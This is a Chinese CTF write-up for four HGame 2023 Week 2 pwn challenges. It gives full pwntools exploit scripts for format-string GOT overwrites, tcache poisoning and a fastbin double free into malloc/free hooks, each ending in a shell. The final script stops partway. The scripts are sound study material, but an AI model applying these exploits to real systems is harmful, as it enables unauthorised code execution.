HGame Week2 PWN WriteUp
Saturday, January 21, 2023
本文共5343字
11分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/hgame-week2-pwn-writeup/。商业转载请联系作者获得授权,非商业转载请注明出处!
I’d rather attempt to do something great and fail than to attempt to do nothing and succeed.
— Robert Schuller
上期见这里
YukkuriSay
checksec查看程序架构
发现了canary,但是这题溢出不到canary,那么可能可以利用canary其他的漏洞,比如更改__stack_check_fail的got值
ida查看伪C代码
函数主体是一个不断向一个没有溢出漏洞的栈空间写入内容(这个内容被用%s打印出来,没有格式化字符串漏洞),然后是一个非栈上格式化字符串漏洞
法一:利用栈上保存的setbuffer函数地址泄露libc后更改__stack_check_fail的got值
我们可以利用%s的特点把这个setbuffer+204打印出来,然后就泄露得到了栈地址
然后我们再用同样的方法得到栈地址
因为我们第一次写入的内容保存在栈上,所以最后我们可以利用格式化字符串漏洞实现任意地址写,更改__stack_check_fail的got值为one_gadget后,再更改canary触发__stack_check_fail
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = True
fn: str = "./HGame-week2-YukkuriSay"
libc_name: str = "./libc-2.31.so"
port: str = "31110"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)].ljust(8, b"\x00"))
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
p = None
def pwn():
global p
if rmt:
p = remote("week-2.hgame.lwsec.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* 0x4016A4
c
""", env=env)
else:
p = process(fn, env=env)
# 11111111
# %8$s
payload = flat([
b"a"*(0xe0),
b"b"*8,
])
send_after_clean(payload)
base_addr = recv_and_transform(b"b"*8) - libc.sym['setbuffer'] - 204
system_addr = base_addr + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = base_addr + one[1]
suclog(
base_addr=base_addr,
one_gadget=one_gadget,
system_addr=system_addr
)
sendline_after_clean("Y", "anything else?(Y/n)\n")
payload = flat([
b"a"*(0xf8),
b"b"*8,
])
send_after_clean(payload)
stack_addr = recv_and_transform(b"b"*6) - 0x18
suclog(stack_addr=stack_addr)
sendline_after_clean("Y", "anything else?(Y/n)\n")
payload = flat([
m_elf.got['__stack_chk_fail'],
m_elf.got['__stack_chk_fail'] + 2,
m_elf.got['__stack_chk_fail'] + 4,
stack_addr
])
sendline_after_clean(payload)
sendline_after_clean("n", "anything else?(Y/n)\n")
write1 = one_gadget & 0xffff
write2 = ((one_gadget >> (2*8)) & 0xffff)
write3 = ((one_gadget >> (4*8)) & 0xffff)
which_write = {write1:8, write2:9, write3:10}
all_write = [write1, write2, write3]
all_write.sort()
payload = ""
tmp = 0
for to_write in all_write:
payload += f"%{to_write-tmp}c%{which_write[to_write]}$hn"
tmp = to_write
payload += f"%11$hhn"
# %43$n
# payload = f"%{write2}c%8$hn%{write1-write2}c%9$hn%{write3-write1}c%10$hn"
sendline_after_clean(payload, "a gift for you: \n")
pwn()
interactive_after_clean()
法二:获取栈地址后更改返回地址和printf的got值
我们既然可以更改任意地址的值,同时获得了栈地址,那么我们可以先更改printf的got值为system,再更改返回值,然后返回到主函数某一个位置,printf出/bin/sh,就可以getshell了
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = False
fn: str = "./HGame-week2-YukkuriSay"
libc_name: str = "./libc-2.31.so"
port: str = "31110"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)].ljust(8, b"\x00"))
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
p = None
def pwn():
global p
if rmt:
p = remote("week-2.hgame.lwsec.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* 0x4016A4
c
""", env=env)
else:
p = process(fn, env=env)
# 11111111
# %8$s
payload = flat([
b"a"*(0xe0),
b"b"*8,
])
send_after_clean(payload)
base_addr = recv_and_transform(b"b"*8) - libc.sym['setbuffer'] - 204
system_addr = base_addr + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = base_addr + one[1]
suclog(
base_addr=base_addr,
one_gadget=one_gadget,
system_addr=system_addr
)
sendline_after_clean("Y", "anything else?(Y/n)\n")
payload = flat([
b"a"*(0xf8),
b"b"*8,
])
send_after_clean(payload)
stack_addr = recv_and_transform(b"b"*6) - 0x8
suclog(stack_addr=stack_addr)
sendline_after_clean("Y", "anything else?(Y/n)\n")
payload = flat([
m_elf.got['printf'],
m_elf.got['printf'] + 2,
m_elf.got['printf'] + 4,
stack_addr,
stack_addr + 2
])
sendline_after_clean(payload)
sendline_after_clean("n", "anything else?(Y/n)\n")
return_addr = 0x401671
write1 = system_addr & 0xffff
write2 = ((system_addr >> (2*8)) & 0xffff)
write3 = ((system_addr >> (4*8)) & 0xffff)
ret1 = return_addr & 0xffff
ret2 = (return_addr >> (2*8)) & 0xffff
which_write = {write1:8, write2:9, write3:10, ret1: 11, ret2:12}
all_write = [write1, write2, write3, ret1, ret2]
all_write.sort()
payload = ""
tmp = 0
for to_write in all_write:
payload += f"%{to_write-tmp}c%{which_write[to_write]}$hn"
tmp = to_write
# %43$n
# payload = f"%{write2}c%8$hn%{write1-write2}c%9$hn%{write3-write1}c%10$hn"
sendline_after_clean(payload, "a gift for you: \n")
sendline_after_clean(b"/bin/sh\x00")
pwn()
interactive_after_clean()
editable_note
checksec查看程序架构
ida查看伪C代码
这道题不走寻常路,使用内联汇编实现了一个堆菜单题,最终还是通过数字选择这三个功能:
大致思路就是先填满tcache bin(7个)后分配到unsorted bin中泄露main_arena,然后将tcache分配到__free_hook上覆盖更改为system
小贴士
在更改tcache中chunk的next位时,一定要确保分配完__free_hook上的chunk后,tcache->counts要大于1
比如:
像这种情况,0x20的tcache bin就不会再申请__free_hook的chunk了,而是转而去分割unsorted bin中的chunk
原因是每一个不同大小的tcache,它都独立维护一个counts域,而在malloc的时候会检查这个域,只有当它大于等于0的时候才会执行tcache_get:
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = False
fn: str = "./HGame-week2-editable_note"
libc_name: str = "./libc-2.31.so"
port: str = "30248"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("week-2.hgame.lwsec.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
break main
c
""", env=env)
else:
p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
def allocate(index:int, size: int) -> None:
sendline_after_clean(b"1", ">")
sendline_after_clean(str(index), "Index: ")
sendline_after_clean(str(size))
def remove(index: int) -> None:
sendline_after_clean(b"2", ">")
sendline_after_clean(str(index), "Index: ")
def show(index: int):
sendline_after_clean(b"4", ">")
sendline_after_clean(str(index), "Index: ")
def change(index: int, content: bytes) -> None:
sendline_after_clean(b"3", ">")
sendline_after_clean(str(index), "Index: ")
sendline_after_clean(content, "Content: ")
main_arena_offset = 0x1ECB80
allocate(0, 0x10)
allocate(1, 0x80)
allocate(2, 0x80)
allocate(3, 0x80)
allocate(4, 0x80)
allocate(5, 0x80)
allocate(6, 0x80)
allocate(7, 0x80)
allocate(8, 0x80)
allocate(9, 0x10)
remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)
remove(8)
# gdb.attach(p)
remove(1)
show(1)
# gdb.attach(p)
base_addr = recv_and_transform() - main_arena_offset - 96
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = base_addr + one[2]
hook_addr = base_addr + libc.sym['__free_hook']
system_addr = base_addr + libc.sym['system']
suclog(
"base_addr",
"one_gadget",
"hook_addr",
"system_addr"
)
# remove(8)
payload = pg(hook_addr)*2
change(8, payload)
# gdb.attach(p)
allocate(10, 0x80)
allocate(11, 0x80)
# gdb.attach(p)
payload = flat([
system_addr
])
change(11, payload)
change(10, b"/bin/sh\x00")
remove(10)
interactive_after_clean()
fast_note
checksec查看程序架构
ida查看伪C代码
这道题没有edit函数,同时free后指针没有置零,而且还是一道glibc2.23的题目
那么思路就很清楚了:unsorted bin泄露main_arena后进行fastbin attack
小贴士
这一题向__malloc_hook写入one_gadget并不能get shell,因为几个限制条件都没有满足,我们可以向__malloc_hook写入__libc_realloc+offset,然后在__realloc_hook上写入one_gadget
因为realloc函数中有很多push指令,会改变当前栈的分布,我们可以控制offset来控制栈的更改程度。
根据realloc的代码,我们可以知道offset的可能值为0,2,4,6,12,13,而通常的one_gadget有3~4个(但有一些的限制条件不是栈),所以可能的搭配大约有18~24种,一般来说,一个一个试会快一点,除非调试很简单
更多详见:
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = True
fn: str = "./HGame-week2-fast_note"
libc_name: str = "./libc-2.23.so"
port: str = "31938"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("week-2.hgame.lwsec.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
set resolve-heap-via-heuristic on
break main
c
""", env=env)
else:
p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
def allocate(index:int, size: int, content: bytes) -> None:
sendline_after_clean(b"1", b">")
sendline_after_clean(str(index), b"Index: ")
sendline_after_clean(str(size), b"Size: ")
sendline_after_clean(content, b"Content: ")
def remove(index: int) -> None:
sendline_after_clean(b"2", b">")
sendline_after_clean(str(index), b"Index: ")
def show(index: int):
sendline_after_clean(b"3", b">")
sendline_after_clean(str(index), b"Index: ")
# def change(index: int, content: bytes) -> None:
# sendline_after_clean(b"4")
# sendline_after_clean(str(index))
# sendline_after_clean(content)
allocate(0, 0x68, "/bin/sh\x00")
allocate(1, 0x68, "/bin/sh\x00")
allocate(2, 0x80, "/bin/sh\x00")
allocate(3, 0x80, "/bin/sh\x00")
remove(2)
# gdb.attach(p)
show(2)
base_addr = recv_and_transform() - 0x3c4b78
system_addr = base_addr + libc.sym['system']
hook_addr = base_addr + libc.sym['__malloc_hook'] - 0x23
realloc_addr = base_addr + libc.sym['__libc_realloc']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = base_addr + one[3]
suclog(
"base_addr",
"system_addr",
"hook_addr"
)
remove(0)
remove(1)
remove(0)
allocate(4, 0x68, pg(hook_addr)*2)
allocate(5, 0x68, "")
# gdb.attach(p)
allocate(6, 0x68, "")
payload = b"\x00"*0xb + pg(one_gadget) + pg(realloc_addr+6)
allocate(7, 0x68, payload)
# gdb.attach(p)
sendline_after_clean(b"1", b">")
sendline_after_clean("8", b"Index: ")
sendline_after_clean("0", b"Size: ")
interactive_after_clean()
new_fast_note
checksec查看程序架构
ida查看伪C代码
典型的堆菜单题,这里比较重要的是:
虽然表面上限制分配15个chunk,但是它并不检查对应的index是否已有chunk,这导致我们可以分配任意个chunk
再加上free后不置零,我们就可以得到libc基址:
那么,我们有两种思路:
- unsorted bin泄露libc后往tcache bin中填入7个0x10的chunk,进行fastbin double free
- 泄露libc后直接tcache attack
在fast_note中我们已经详细讲过第二种方法了,这里我们使用第一种方法
小贴士
在往tcache bin中填入0x10chunk块的时候,我们需要先分配7个chunk块,这时候,由于unsorted bin中还保留着0x80的堆块一个,所以程序会对其分割
但是0x80的size位为0x90,只能分配成0x90=0x20*3+0x30
这四个堆块,因此分配的第四个堆块的大小为0x30
但是这样子第四个chunk释放的时候,就无法进入0x20的tcache bin,而是进入0x30的tcache bin,因此距离tcache bin被填满就刚好差一个
因此,我们需要分配8个chunk而不是7个
可能有点难理解,具体看我代码然后自己调试看下
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes
rmt: bool = False
fn: str = "./HGame-week2-new_fast_note"
libc_name: str = "./libc-2.31.so"
port: str = "31780"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
p = remote("week-2.hgame.lwsec.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
break main
c
""", env=env)
else:
p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
def allocate(index:int, size: int, content: bytes) -> None:
sendline_after_clean(b"1", b">")
sendline_after_clean(str(index), b"Index: ")
sendline_after_clean(str(size), b"Size: ")
sendline_after_clean(content)
def remove(index: int) -> None:
sendline_after_clean(b"2", b">")
sendline_after_clean(str(index), b"Index: ")
def show(index: int):
sendline_after_clean(b"3", b">")
sendline_after_clean(str(index), b"Index: ")
# def change(index: int, content: bytes) -> None:
# sendline_after_clean(b"4")
# sendline_after_clean(str(index))
# sendline_after_clean(content)
allocate(0, 0x80, "/bin/sh\x00")
allocate(1, 0x80, "/bin/sh\x00")
allocate(2, 0x80, "/bin/sh\x00")
allocate(3, 0x80, "/bin/sh\x00")
allocate(4, 0x80, "/bin/sh\x00")
allocate(5, 0x80, "/bin/sh\x00")
allocate(6, 0x80, "/bin/sh\x00")
allocate(7, 0x80, "/bin/sh\x00")
allocate(8, 0x80, "/bin/sh\x00")
remove(0)
remove(1)
remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)
show(7)
main_arena_offset = 0x1ECB80
base_addr = recv_and_transform() - main_arena_offset - 96
system_addr = base_addr + libc.sym['system']
hook_addr = base_addr + libc.sym['__free_hook']
suclog(
"base_addr",
"system_addr",
"hook_addr"
)
allocate(0, 0x10, "/bin/sh\x00")
allocate(1, 0x10, "/bin/sh\x00")
allocate(2, 0x10, "/bin/sh\x00")
allocate(3, 0x10, "/bin/sh\x00")
allocate(4, 0x10, "/bin/sh\x00")
allocate(5, 0x10, "/bin/sh\x00")
allocate(6, 0x10, "/bin/sh\x00")
allocate(7, 0x10, "/bin/sh\x00")
allocate(9, 0x10, "/bin/sh\x00")
allocate(10, 0x10, "/bin/sh\x00")
remove(0)
remove(1)
remove(2)
remove(3)
remove(4)
remove(5)
remove(6)
remove(7)
